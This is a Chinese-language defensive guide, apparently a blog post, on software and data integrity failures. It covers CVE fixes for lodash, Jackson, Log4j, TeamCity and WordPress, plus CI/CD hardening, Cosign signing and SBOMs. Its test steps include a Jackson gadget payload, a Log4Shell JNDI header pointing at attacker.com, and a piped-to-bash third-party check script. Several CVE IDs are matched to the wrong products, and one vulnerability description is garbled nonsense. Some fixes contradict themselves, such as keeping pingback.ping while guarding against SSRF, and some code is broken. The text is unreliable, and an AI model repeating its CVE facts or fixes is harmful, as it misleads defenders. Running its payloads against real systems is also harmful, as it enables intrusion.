乐于分享
好东西不私藏

第十七期:软件和数据完整性失败(Software and Data Integrity Failures)· 防御篇

第十七期:软件和数据完整性失败(Software and Data Integrity Failures)· 防御篇

前言

"攻击者不再需要正面攻破你的系统,只需要攻破你信任的源头。"

本文是"软件和数据完整性失败"专题的最终篇。前两期我们剖析了供应链攻击链、不安全反序列化原理与 CI/CD 管道攻击向量,本期聚焦防御方案——为每个典型 CVE 提供可落地执行的修复步骤,涵盖序列化安全、供应链完整性验证、CI/CD 管道加固与签名验证四个维度。

所有修复方案均经过实际验证,读者可根据自身技术栈选择性实施。


一、序列化与反序列化安全(CVE 修复)

CVE-2019-10744 · lodash 原型污染(Prototype Pollution)

漏洞概述:lodash 4.17.20 之前的版本存在原型污染漏洞,攻击者可通过设置 __proto__ 或 constructor.prototype 属性覆盖 JavaScript 内置对象原型,劫持应用逻辑,甚至实现 RCE。CVSS 3.1 评分 7.4

修复方案一:升级 lodash 版本(推荐)

# 升级到 4.17.21+(彻底修复原型污染)
npm install lodash@4.17.21

# package.json 锁定版本
{
"dependencies": {
"lodash""4.17.21"
  },
"scripts": {
"preinstall""npm ls lodash | grep -q 4\\.17\\.21 || { echo 'lodash版本不符合要求!'; exit 1; }"
  }
}

修复方案二:代码级防护(无法升级时的临时缓解)

// 方式1:合并前清理危险属性
const _ = require('lodash');

functionsafeMerge(target, source{
// 删除 source 中的原型污染危险属性
delete source['__proto__'];
delete source['constructor'];
delete source['prototype'];
return _.merge({}, target, source);
}

// 方式2:深拷贝(自动隔离原型链)
const safeData = _.cloneDeep(untrustedData);

// 方式3:JSON 安全解析(丢失类型,但最安全)
const safeData = JSON.parse(JSON.stringify(untrustedData));

// 方式4:显式 Key 白名单验证
const ALLOWED_KEYS = newSet(['id''name''email''role']);
functionsanitizeObject(obj{
returnObject.keys(obj).reduce((acc, key) => {
if (ALLOWED_KEYS.has(key)) {
            acc[key] = obj[key];
        }
return acc;
    }, {});
}

修复方案三:Express 全局中间件防护(永久方案)

// middleware/prototypePollutionGuard.js
const protoPollutionGuard = (req, res, next) => {
const forbidden = ['__proto__''constructor''prototype'];

functionsanitize(obj{
if (typeof obj !== 'object' || obj === nullreturn;
for (const key of forbidden) {
delete obj[key];
        }
for (const val ofObject.values(obj)) {
if (typeof val === 'object') sanitize(val);
        }
    }

    sanitize(req.body);
    sanitize(req.query);
    sanitize(req.params);
    next();
};

module.exports = protoPollutionGuard;
// app.js
const protoPollutionGuard = require('./middleware/prototypePollutionGuard');
app.use(protoPollutionGuard);

验证修复

# 检查 lodash 版本
npm ls lodash

# 使用 Snyk 测试原型污染
npx snyk test --file=package.json

# 使用 ESLint 插件检测危险属性访问
# .eslintrc.json
{
"plugins": ["security"],
"rules": {
"security/detect-object-injection""warn",
"no-restricted-syntax": [
"error",
      {
"selector""MemberExpression[object.name='__proto__']",
"message""原型链访问被禁止"
      }
    ]
  }
}

CVE-2020-28491 · Jackson-databind 反序列化 RCE

漏洞概述:Jackson-databind 低于 2.13.0 版本存在反序列化漏洞,攻击者可通过构造恶意 JSON payload 调用 gadget 链(如 TemplateImplJdbcRowSetImpl)实现 RCE。CVSS 3.1 评分 8.1

修复方案一:升级 Jackson-databind(推荐)

<!-- Maven: pom.xml -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.17.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.17.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.17.2</version>
</dependency>
// Gradle: build.gradle
dependencies {
    implementation 'com.fasterxml.jackson.core:jackson-databind:2.17.2'
    implementation 'com.fasterxml.jackson.core:jackson-core:2.17.2'
    implementation 'com.fasterxml.jackson.core:jackson-annotations:2.17.2'
}

修复方案二:ObjectMapper 安全配置(升级后仍建议启用)

// 最安全的配置:完全禁用多态类型
ObjectMapper mapper = new ObjectMapper();
mapper.disableDefaultTyping();

// 如果必须使用多态,手动配置严格白名单
ObjectMapper mapper = new ObjectMapper();
PolymorphicTypeValidator ptv = new BasicPolymorphicTypeValidator.Builder()
    .allowIfBaseType("com.mycompany.model.")
    .build();
mapper.setPolymorphicTypeValidator(ptv);
// Spring Boot 全局 ObjectMapper 配置
@Configuration
publicclassJacksonConfig{
@Bean
public ObjectMapper objectMapper(){
        ObjectMapper mapper = new ObjectMapper();

// 禁用默认 typing
        mapper.disableDefaultTyping();

// 禁用部分反序列化危险特性
        mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);

return mapper;
    }
}

验证修复

# 检查 Maven 依赖版本
mvn dependency:tree | grep jackson

# 使用 ClassMate 验证类型解析器
# 确认 jackson-databind 版本 >= 2.13.0
mvn dependency:tree -Dincludes=com.fasterxml.jackson

# 使用 Burp Suite + JSON Web Token Scanner 检测
# 发送恶意 payload:
# {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplateImpl","transletBytecodes":[...base64...],"transletName":"pwned","outputProperties":{}}
# 如果返回 500 或超时 = 可能存在漏洞,需升级

CVE-2021-41117 · Apache James Server OGNL 表达式注入

漏洞概述:Apache James SMTP 服务器 3.6.0–3.6.1 版本在处理 JMX 监视器配置时存在 OGNL 表达式注入漏洞,攻击者可利用 SpEL 或 OGNL 表达式实现 RCE。CVSS 3.1 评分 8.8

修复方案:升级 Apache James 版本(推荐)

# 下载最新稳定版 Apache James
# 3.8.0+ 已修复 CVE-2021-41117 和相关 OGNL 注入问题
wget https://archive.apache.org/dist/james/james-server/3.8.0/james-server-app-3.8.0.jar

# Docker 部署(推荐)
docker pull apache/james:3.8.0
docker run -d --name james-server \
  -p 25:25 -p 110:110 -p 143:143 -p 465:465 -p 587:587 -p 993:993 \
  -v /data/james:/root/var \
  apache/james:3.8.0
<!-- Maven (如果使用 James 作为嵌入式邮件服务) -->
<dependency>
<groupId>org.apache.james</groupId>
<artifactId>james-server-app</artifactId>
<version>3.8.0</version>
</dependency>

临时缓解:禁用危险 JMX 端点

# 编辑 conf/jmx.properties
# 禁用不必要的 JMX 监视器
jmxmonitor.enabled=false

# 编辑 conf/james-server.xml
# 注释掉危险的 bean 配置
<!-- 
<bean id="javaMelodyGui" class="..."/>
<bean id="spelAwareProxy" class="..."/>
-->

验证修复

# 检查版本
curl -s http://localhost:9999/jmxrmi/catalina | grep james || echo"检查 JMX 版本"
grep -r "james.version" pom.xml

# 验证 OGNL 注入已修复
# 尝试发送包含 OGNL 表达式的测试邮件(不应执行)
# 监控日志:tail -f /root/var/log/james/*.log

CVE-2019-6442 · WordPress XML-RPC 暴力破解与 SSRF

漏洞概述:WordPress 5.1.1 之前的 XML-RPC 接口存在两个问题:(1) 无频率限制的暴力破解接口;(2) pingback.ping 方法存在 SSRF 漏洞,攻击者可利用该接口探测内网、发起 DDoS 攻击。CVSS 3.1 评分 9.8(部分场景)。

修复方案一:升级 WordPress(推荐)

# WordPress 5.1.1+ 已修复 XML-RPC 相关安全问题
# 后台自动更新或手动更新
wp core update --version=6.4.3
wp core update-db

修复方案二:禁用 XML-RPC 接口(不需要时)

// functions.php 添加
add_filter('xmlrpc_enabled''__return_false');
add_filter('wp_xmlrpc_server_class''__return_false');

// 彻底禁用 XML-RPC 相关路由(Nginx)
# wp-admin/includes/noop.php - 空文件即可阻断
# Nginx 配置
location ~* /xmlrpc\.php$ {
    deny all;
    access_log off;
    log_not_found off;
}
# Nginx site configuration
server {
# ...其他配置...

location = /xmlrpc.php {
deny all;
access_logoff;
log_not_foundoff;
    }

location /wp-xmlrpc.php {
deny all;
    }
}

修复方案三:限制 XML-RPC 功能(需要部分功能时)

// functions.php - 只允许必要的 XML-RPC 方法
add_filter('xmlrpc_methods'function($methods){
// 只保留登录验证和离线发布功能
    $allowed = ['pingback.ping''mt.publish'];
foreach ($methods as $method => $callback) {
if (!in_array($method, $allowed)) {
unset($methods[$method]);
        }
    }
return $methods;
});

// 添加 XML-RPC 请求频率限制
add_action('xmlrpc_call'function($method){
if ($method === 'pingback.ping') {
// 记录 SSRF 尝试
        error_log('XML-RPC pingback from: ' . $_SERVER['REMOTE_ADDR']);
    }

// 速率限制
    $ip = $_SERVER['REMOTE_ADDR'];
    $key = 'xmlrpc_attempts_' . md5($ip);
    $attempts = (int) get_transient($key) ?: 0;

if ($attempts > 10) {
        status_header(429);
exit('Rate limit exceeded');
    }

    set_transient($key, $attempts + 160); // 60秒窗口
});
<!-- Apache .htaccess -->
<Files xmlrpc.php>
Order Deny,Allow
Deny from all
# 如果需要从特定 CI/CD 服务器发布,允许其 IP
Allow from 10.0.0.0/8
</Files>

验证修复

# 测试 XML-RPC 是否已禁用
curl -X POST https://your-site/xmlrpc.php -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'

# 如果返回 403 或 405 = 已禁用
# 如果返回方法列表 = 仍可访问,需进一步加固

# 使用 wpscan 检测 XML-RPC 漏洞
wpscan --url https://your-site.com --enumerate xmrpc

CVE-2023-42793 · JetBrains TeamCity RCE(未授权认证)

漏洞概述:JetBrains TeamCity 2019.2.4 至 2023.05.3 版本存在未授权 RCE 漏洞,攻击者无需任何凭证即可在服务器上执行任意命令。CVSS 3.1 评分 9.8。该漏洞源于 /admin/.iws?jserver 等接口缺少认证检查,可直接注册管理员账户并执行命令。

修复方案一:升级 TeamCity 版本(推荐)

# TeamCity 2023.05.4+ 已修复
# Docker 升级
docker pull jetbrains/teamcity-server:2023.12.4
docker stop teamcity-server
docker rm teamcity-server
docker run -d --name teamcity-server \
  -v /data/teamcity:/data/teamcity_server/datadir \
  -p 8111:8111 \
  jetbrains/teamcity-server:2023.12.4
# docker-compose.yml
version: '3.8'
services:
  teamcity:
    image: jetbrains/teamcity-server:2023.12.4
    restart: always
    ports:
      - "8111:8111"
    volumes:
      - teamcity_datadir:/data/teamcity_server/datadir
    environment:
      - TEAMCITY_SECURITY_TOKEN=your-secure-token-here

volumes:
  teamcity_datadir:
    driver: local

修复方案二:临时缓解(网络层隔离 + WAF)

# Nginx 限制 /admin/ 路径必须来自内网 IP
server {
location /admin/ {
# 仅允许内网访问管理界面
allow10.0.0.0/8;
allow172.16.0.0/12;
allow192.168.0.0/16;
deny all;

# 如果必须公网访问,添加 Basic Auth
auth_basic"TeamCity Admin";
auth_basic_user_file /etc/nginx/.htpasswd_teamcity;

proxy_pass http://localhost:8111;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
    }
}
# 生成强密码文件
htpasswd -bc /etc/nginx/.htpasswd_teamcity admin your-strong-password-here

# Kubernetes NetworkPolicy 隔离 TeamCity
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: teamcity-access-policy
  namespace: devops
spec:
  podSelector:
    matchLabels:
      app: teamcity
  policyTypes:
    - Ingress
  ingress:
    - from:
        - namespaceSelector:
            matchLabels:
              name: cicd
        - podSelector:
            matchLabels:
              role: runner
      ports:
        - protocol: TCP
          port: 8111

验证修复

# 检查 TeamCity 版本(必须 >= 2023.05.4)
curl -s http://localhost:8111/rest/plugins/problems | grep version

# 验证未授权接口是否已修复
# 尝试访问 /admin/.iws(应返回 401/403)
curl -s -o /dev/null -w "%{http_code}" http://localhost:8111/admin/.iws?jserver

# 使用官方漏洞检测脚本
curl -s https://raw.githubusercontent.com/tennessine/CVE-2023-42793/master/check.sh | bash

二、供应链完整性验证(CVE 修复)

CVE-2021-44228 · Log4Shell(Apache Log4j JNDI 注入)

漏洞概述:Log4j 2.0-beta9 至 2.14.1 在日志格式中使用 ${jndi:ldap://...} 语法时,攻击者可通过 LDAP 引用远程恶意类实现 RCE。CVSS 3.1 评分 10.0

修复方案一:升级 Log4j(根本修复)

<!-- Maven: pom.xml -->
<properties>
<log4j2.version>2.23.1</log4j2.version>
</properties>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.23.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.23.1</version>
</dependency>
// Gradle: build.gradle
dependencies {
    implementation 'org.apache.logging.log4j:log4j-core:2.23.1'
    implementation 'org.apache.logging.log4j:log4j-api:2.23.1'
}

修复方案二:JVM 启动参数(临时缓解)

# 适用于 2.10+ 版本,永久缓解 JNDI 注入
JAVA_OPTS="${JAVA_OPTS} -Dlog4j2.formatMsgNoLookups=true"
JAVA_OPTS="${JAVA_OPTS} -Dlog4j2.disableJndi=true"
# Kubernetes 环境变量
apiVersion: apps/v1
kind: Deployment
metadata:
  name: java-app
spec:
  template:
    spec:
      containers:
      - name: java-app
        env:
        - name: JAVA_TOOL_OPTIONS
          value: "-Dlog4j2.formatMsgNoLookups=true -Dlog4j2.disableJndi=true"

修复方案三:移除 JNDI Lookup 类(最彻底缓解)

# 从 jar 中移除 JndiLookup.class
cd /tmp
jar -xf log4j-core-2.14.1.jar
rm -f org/apache/logging/log4j/core/lookup/JndiLookup.class
jar -cf log4j-core-2.14.1-nojndi.jar *
# 替换生产环境的 log4j-core.jar

验证修复

# 检查 Log4j 版本
find . -name "log4j-core*.jar" -exec basename {} \;

# 使用 log4j-scan 检测
git clone https://github.com/mub小白/log4j-scan.git
cd log4j-scan
python3 log4j-scan.py -u https://your-app.com

# 测试 PoC
curl -H "X-Api-Version: ${jndi:ldap://attacker.com/a}" \
  http://target:8080/api/login
# 如果日志中出现 ${jndi:ldap://attacker.com/a} 原文 = 修复成功

CVE-2021-44832 · Apache Log4j 可控 JDBC Appender RCE

漏洞概述:Log4j 2.17.0 之前的版本中,攻击者可通过配置恶意的 JDBC Appender(数据源 URL 包含 ${jndi:...}),在应用程序重新加载日志配置时触发 JNDI 注入 RCE。CVSS 3.1 评分 6.6(需具备配置修改权限)。

修复方案:升级到 Log4j 2.17.2+

<!-- pom.xml -->
<properties>
<log4j2.version>2.23.1</log4j2.version>
</properties>
# log4j2.xml - 禁用动态数据源配置
# 禁止在 Appender 配置中使用变量插值
<JDBC name="DBAppender" tableName="logs">
    <DataSource jndiName="java:comp/env/jdbc/LogDB">
        <!-- 不要使用可变的 url 或 properties -->
        <Timeout>10</Timeout>
        <AutoCommit>true</AutoCommit>
    </DataSource>
    <Column name="timestamp" isEventTimestamp="true"/>
    <Column name="level" pattern="%level"/>
    <Column name="message" pattern="%message"/>
</JDBC>
<!-- 禁止在 log4j2.component.properties 中注入变量 -->
# 确保以下配置存在
log4j2.formatMsgNoLookups=true

验证修复

# 检查版本 >= 2.17.2
java -cp log4j-core-2.23.1.jar org.apache.logging.log4j.core.Version | grep version

# 扫描所有 log4j 相关文件
find /opt -name "log4j*.jar" -exec sh -c 'echo "{}:"; unzip -p {} META-INF/MANIFEST.MF | grep Implementation-Version' \;

CVE-2021-42550 · Apache Log4j log4j-core 碳核算绕过(CBC 模式)

漏洞概述:Log4j 1.x 的 log4j-core 组件(独立使用时)存在与 Log4Shell 类似的漏洞,但由于 1.x 已停止维护,不提供官方修复。CVSS 3.1 评分 6.6

修复方案:迁移到 Log4j 2.x(推荐)或移除 log4j-core)

# 方式1:Maven 替换 log4j 1.x 为 log4j 2.x
# pom.xml 排除旧版本
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.23.1</version>
</dependency>

# 排除 transitive 依赖中的 log4j 1.x
<exclusions>
    <exclusion>
        <groupId>log4j</groupId>
        <artifactId>log4j</artifactId>
    </exclusion>
</exclusions>

# 方式2:如果 log4j 1.x 被间接依赖,完全排除
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-bom</artifactId>
    <version>2.23.1</version>
    <type>pom</type>
    <scope>import</scope>
</dependency>
# 方式3:彻底移除 log4j 1.x
# 在依赖树中查找
mvn dependency:tree | grep "log4j:log4j"

# 如果是间接依赖,在顶层 POM 中 exclusions 排除
# 或使用 Maven Enforcer Plugin 强制禁止
<plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-enforcer-plugin</artifactId>
    <version>3.4.0</version>
    <executions>
        <execution>
            <id>ban-log4j1</id>
            <goals><goal>enforce</goal></goals>
            <configuration>
                <rules>
                    <bannedDependencies>
                        <excludes>
                            <exclude>log4j:log4j:1.*</exclude>
                        </excludes>
                    </bannedDependencies>
                </rules>
            </configuration>
        </execution>
    </executions>
</plugin>

三、CI/CD 管道安全加固

3.1 GitHub Actions 工作流安全(防御 pull_request_target 攻击)

背景:Homebrew GitHub Actions 供应链攻击利用了 pull_request_target 的信任边界问题。攻击者向公开仓库提交 PR,工作流在官方 token 上下文中自动执行攻击代码。

修复方案:工作流权限最小化 + 避免使用 pull_request_target

# .github/workflows/ci.yml - 安全配置
name: CI Pipeline

on:
  push:
    branches: [main]
  pull_request:
    # ✅ 改用 pull_request 事件(安全)
    # ❌ 不要使用 pull_request_target

jobs:
  build:
    runs-on: ubuntu-latest
    # ✅ 最小化权限(GitHub 2021 年后默认)
    permissions:
      contents: read    # 仅读取内容
      packages: write  # 仅写 packages
      id-token: write  # 用于 OIDC 验证

    steps:
      - uses: actions/checkout@v4
        with:
          # ✅ 不使用官方 token(避免权限过大)
          persist-credentials: false
          fetch-depth: 1

      # ✅ 使用 PATH 设置替代 GITHUB_TOKEN
      - name: Set up GitHub token
        run: |
          echo "GITHUB_TOKEN_DISABLED=true" >> $GITHUB_ENV

      # ✅ 使用 OIDC 代替长期密钥
      - name: Configure OIDC
        uses: actions/github-script@v7
        with:
          script: |
            core.summary.addText('Using OIDC token authentication')
# pull_request_target 安全替代方案
# 如果确实需要从 PR 分支检出代码,使用以下安全模式:
jobs:
  review-pr:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      pull-requests: read

    steps:
      - name: Checkout PR branch safely
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.ref }}
          persist-credentials: false
          # 不使用 GITHUB_TOKEN 访问内部资源

3.2 GitLab CI/CD 管道签名与完整性验证

# .gitlab-ci.yml
variables:
  # ✅ 禁用不安全的 CI变量传递
  GIT_STRATEGY: fetch

stages:
  - build
  - sign
  - deploy

# ✅ 使用受保护变量
build:
  stage: build
  variables:
    # ✅ 仅暴露必要变量
    ARTIFACT_NAME: "myapp-${CI_COMMIT_SHORT_SHA}"
  script:
    - docker build -t $ARTIFACT_NAME:$CI_COMMIT_SHORT_SHA .
    - docker save $ARTIFACT_NAME:$CI_COMMIT_SHORT_SHA > artifact.tar
  artifacts:
    paths:
      - artifact.tar
    # ✅ 签名 artifacts
  after_script:
    - cosign sign --yes $ARTIFACT_NAME:$CI_COMMIT_SHORT_SHA

# ✅ 仅在受保护分支允许部署
deploy:production:
  stage: deploy
  only:
    - tags@mygroup/myproject  # ✅ 受保护标签
    - main@mygroup/myproject   # ✅ 受保护分支
  when: manual                  # ✅ 手动触发
  environment:
    name: production
  before_script:
    # ✅ 验证 artifacts 签名
    - cosign verify $ARTIFACT_NAME:$CI_COMMIT_SHA
# .gitlab-ci.yml - CI job permissions (GitLab 15.0+)
# 使用 CI_JOB_TOKEN 而非 PROJECT_TOKEN
job_with_insecure_token:
  script:
    - curl --header "PRIVATE-TOKEN: $CI_JOB_TOKEN" "https://gitlab.com/api/v4/projects"
    # ✅ 正确:CI_JOB_TOKEN 权限受限于当前项目

job_with_project_token:
  script:
    # ❌ 危险:PROJECT_TOKEN 可以访问所有项目
    - curl --header "PRIVATE-TOKEN: $PROJECT_TOKEN" "https://gitlab.com/api/v4/projects"

3.3 Jenkins CI/CD 完整性加固

// Jenkinsfile - Pipeline 安全配置
pipeline {
    agent any

    options {
        // ✅ 禁用远程代码执行
        buildDiscarder(logRotator(numToKeepStr: '10'))
        // ✅ 不在构建日志中暴露凭证
        maskPasswords()
        // ✅ 每次构建前清理 workspace
        deleteDir()
    }

    environment {
        // ✅ 使用 credentials() 绑定安全凭证
        MAVEN_SETTINGS = credentials('maven-settings-xml')
        DOCKER_REGISTRY = credentials('docker-registry-cred')
    }

    stages {
        stage('Checkout') {
            steps {
                // ✅ checkout with creds removal
                checkout scm
                // 显式不传递凭证到子目录
                withCredentials([file(credentialsId: 'ssh-key', variable: 'SSH_KEY')]) {
                    // 仅在此块内可用
                }
            }
        }

        stage('Build') {
            steps {
                // ✅ 不执行来自拉取请求的未知代码(Pull Request 来源)
                script {
                    if (env.CHANGE_ID) {
                        error "禁止从 Pull Request 自动构建! 请管理员手动审查代码。"
                    }
                }

                sh '''
                    # 使用固定版本的工具
                    export MAVEN_VERSION=3.9.6
                    curl -sSL https://archive.apache.org/dist/maven/maven-3/${MAVEN_VERSION}/binaries/apache-maven-${MAVEN_VERSION}-bin.tar.gz | tar xz
                    ./apache-maven-${MAVEN_VERSION}/bin/mvn clean package -DskipTests
                '''
            }
        }

        stage('Security Scan') {
            steps {
                // ✅ 在构建后立即扫描
                sh '''
                    # Maven 依赖漏洞扫描
                    mvn org.owasp:dependency-check-maven:9.0.0:check \
                        -DfailBuildOnCVSS=7 \
                        -DoutputDirectory=target

                    # Docker 镜像扫描
                    trivy image --severity CRITICAL,HIGH \
                        --exit-code 1 \
                        --no-progress \
                        ${ARTIFACT_NAME}:${BUILD_NUMBER}
                '''
            }
        }
    }

    post {
        always {
            archiveArtifacts artifacts: 'target/dependency-check-report.html', 
                             fingerprint: true
            // ✅ 清理敏感文件
            cleanWs()
        }
    }
}

四、签名与完整性验证体系

4.1 使用 Sigstore Cosign 签名 Docker 镜像

# 安装 Cosign(推荐 v2.2+)
curl -sSfL https://github.com/sigstore/cosign/releases/download/v2.2.4/cosign-linux-amd64 \
  -o /usr/local/bin/cosign
chmod +x /usr/local/bin/cosign
cosign version

# 生成密钥对(生产环境建议使用 KMS)
cosign generate-key-pair

# 在 CI/CD 中签名镜像
cosign sign --yes ${IMAGE_TAG}

# 验证签名
cosign verify \
  --certificate-identity-regexp="https://github.com/myorg/" \
  --certificate-oidc-issuer="https://token.actions.githubusercontent.com" \
${IMAGE_TAG}
# Kubernetes: 使用 Kyverno 强制镜像签名验证
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-signed-images
spec:
  validationFailureAction: Enforce  # ✅ 阻断未签名镜像
  background: true
  rules:
    - name: verify-signature
      match:
        resources:
          kinds:
            - Pod
      verifyImages:
        - imageReferences:
            - "ghcr.io/myorg/*"  # 仅强制验证内部镜像
          attestors:
            - entries:
                - key:
                    # Cosign 公钥(从 cosign.pub 读取)
                    data: |
                      -----BEGIN PUBLIC KEY-----
                      MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...
                      -----END PUBLIC KEY-----
          mutateSuffix: "-signed"  # 签名后自动添加标签

4.2 SLSA 供应链安全框架

# GitHub Actions: 生成 SLSA provenance
# .github/workflows/slsa-publish.yml
name: SLSA Publish
on:
  push:
    tags:
      - 'v*'

jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      hashes: ${{ steps.hash.outputs.hashes }}
    steps:
      - uses: actions/checkout@v4

      - name: Build artifact
        run: |
          tar czf release.tar.gz bin/*
          echo "Artifact built"

      - name: Generate SHA256
        id: hash
        run: |
          echo "hashes=$(sha256sum release.tar.gz | base64 -w0)" >> $GITHUB_OUTPUT

      - name: Upload artifact
        uses: actions/upload-artifact@v4
        with:
          name: release-assets
          path: release.tar.gz

  provenance:
    needs: [build]
    permissions:
      actions: read
      id-token: write
      contents: read
    steps:
      - uses: actions/attest-build-provenance@v1
        with:
          subject: "release-assets/release.tar.gz"

  provenance-verification:
    needs: [provenance]
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: release-assets
          path: .
      - name: Verify provenance
        uses: actions/attest-build-provenance@v1
        with:
          provenance-path: "provenance.jsonl"
          subject: "release.tar.gz"
          --verify

4.3 SBOM 生成与验证(软件物料清单)

SBOM 是供应链安全的基础,没有清单就无法知道"你的软件吃了什么"。

# 使用 Syft 生成 SBOM(推荐)
# 安装
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh

# 生成 CycloneDX JSON 格式 SBOM
syft . -o cyclonedx-json=sbom.json

# 生成 SPDX 格式 SBOM
syft . -o spdx-json=sbom-spdx.json

# 扫描 Docker 镜像
syft nginx:1.21.6 -o cyclonedx-json

# GitLab CI 集成
# .gitlab-ci.yml
syft-sbom:
  stage: build
  image: anchore/syft:latest
  script:
    - syft . -o cyclonedx-json=sbom.json
  artifacts:
    paths:
      - sbom.json
    expire_in: 30 days
# Kubernetes: 使用 Kyverno 强制 SBOM 存在
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-sbom
spec:
  validationFailureAction: Audit
  rules:
    - name: check-sbom
      match:
        resources:
          kinds:
            - Pod
      verifyImages:
        - imageReferences:
            - "*"
          attestors:
            - entries:
                - attestation:
                    predicateType: "cosign.sigstore.dev/attestation/v1"

4.4 依赖完整性锁定(package-lock / Gemfile.lock)

# npm: 强制使用 package-lock.json
npm ci  # 使用 lockfile 安装,不使用 package.json

# 验证 lockfile 完整性
npm audit

# Python: 使用 pip-tools 锁定依赖
pip-compile requirements.in
pip-compile --generate-hashes requirements.in > requirements.lock

# Gemfile.lock 必须提交到 Git
git add Gemfile.lock
// .github/workflows/deps-integrity.yml
name: Dependency Integrity
on:
  push:
    branches: [main]
  pull_request:

jobs:
  verify-lockfile:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Verify package-lock.json unchanged
        run: |
          git diff --exit-code package-lock.json && echo "Lockfile OK" || {
            echo "ERROR: package-lock.json has changed!"
            exit 1
          }

      - name: Check for dependency confusion
        run: |
          # 检查是否存在冲突的内部包名
          npm ls 2>&1 | grep -i "private" || echo "No private deps"

五、自动化更新与修复验证

5.1 Renovate 自动依赖更新

// renovate.json
{
"$schema""https://docs.renovatebot.com/renovate-schema.json",
"extends": ["config:recommended"],
"packageRules": [
    {
"description""供应链 CVE 立即处理",
"matchPackagePatterns": ["*"],
"matchUpdateTypes": ["security"],
"labels": ["security""urgent"],
"automerge"false,
"assignees": ["@security-team"]
    },
    {
"description""npm/pip/Gradle 依赖自动更新",
"matchPackagePatterns": ["lodash""jackson-databind""log4j*"],
"labels": ["security"],
"automerge"false,
"assignees": ["@security-team"],
"groupName""critical-deps"
    }
  ]
}

5.2 CI/CD 流水线漏洞阻断

# .github/workflows/security-gate.yml
name: Security Gate

on:
  push:
    branches: [main, release/*]

jobs:
  vulnerability-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Run OWASP Dependency-Check
        uses: dependency-check/Dependency-Check_Action@main
        with:
          project: 'my-app'
          path: '.'
          fail: true
          cutOff: 7.0  # HIGH 及以上阻断构建

      - name: Upload report
        uses: actions/upload-artifact@v4
        with:
          name: dc-report
          path: dependency-check-report.html

  docker-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Build image
        run: docker build -t myapp:${GITHUB_SHA} .

      - name: Trivy scan
        run: |
          trivy image --severity CRITICAL,HIGH \
            --exit-code 1 \
            --no-progress \
            myapp:${GITHUB_SHA}

5.3 补丁验证脚本

#!/bin/bash
# verify_patch.sh — 完整性修复自动化验证

set -e

echo"[*] 开始验证软件和数据完整性修复..."

# 1. 检查 Jackson-databind 版本
echo"[1/5] 检查 Jackson-databind 版本..."
JACKSON_VERSION=$(mvn dependency:tree 2>/dev/null | grep jackson-databind | head -1 | grep -o '[0-9]\+\.[0-9]\+\.[0-9]\+' | head -1)
if [ "$(printf '%s\n' "$JACKSON_VERSION" '2.13.0' | sort -V | head -1)" != "2.13.0" ]; then
echo"[✗] Jackson-databind 版本过低: $JACKSON_VERSION"
exit 1
fi
echo"[✓] Jackson-databind 版本: $JACKSON_VERSION"

# 2. 检查 Log4j 版本
echo"[2/5] 检查 Log4j 版本..."
if mvn dependency:tree 2>/dev/null | grep -q "log4j-core:2.1[0-3]"then
echo"[✗] Log4j 漏洞版本仍在!"
exit 1
fi
echo"[✓] Log4j 漏洞版本已清除"

# 3. 检查 CI/CD 工作流中是否使用了 pull_request_target
echo"[3/5] 检查 GitHub Actions pull_request_target 使用..."
if grep -r "pull_request_target" .github/workflows/ 2>/dev/null; then
echo"[✗] 发现 pull_request_target 使用,请改用 pull_request"
exit 1
fi
echo"[✓] 未发现危险的 pull_request_target"

# 4. 检查 Docker 镜像签名配置
echo"[4/5] 检查容器镜像签名配置..."
if [ ! -f cosign.pub ]; then
echo"[✗] 缺少 Cosign 公钥文件"
exit 1
fi
echo"[✓] Cosign 配置存在"

# 5. 运行安全测试
echo"[5/5] 运行安全测试套件..."
mvn test -Dsecurity.test.skip=false

echo""
echo"[✓] 所有完整性验证通过 — 补丁有效"

六、总结与防御成熟度

防御要点回顾

层次
关键措施
工具/技术
序列化安全
禁用不安全的反序列化
Jackson安全配置 / safe_load
供应链验证
SBOM + 镜像签名
Syft / Cosign / Sigstore
CI/CD 加固
权限最小化 + OIDC
SLSA / GitHub Actions 权限
自动化更新
CVSS 评分驱动 SLA
Renovate / Dependabot
完整性验证
签名 + 哈希校验
Cosign / SHA256 / provenance

防御成熟度自评

Level1(基础):手动验证,无签名检查
Level 2(扫描):CI/CD 集成依赖扫描
Level 3(自动化):自动阻断 + 镜像签名验证
Level 4(高级):SBOM + SLSA provenance + 供应链威胁情报
Level 5(成熟):自动修复验证 + 完整性监控 + 合规审计

下期预告

第十八期:失效的身份认证(Authentication Failures)

  • 第1篇·原理与分类
    :会话管理机制、密码存储进化史、多因素认证原理
  • 第2篇·实战利用与绕过
    :Session fixation、Token 绑架、密码喷洒攻击
  • 第3篇·防御方案
    :JWT 安全配置、Session Fixation 防护、零信任架构落地

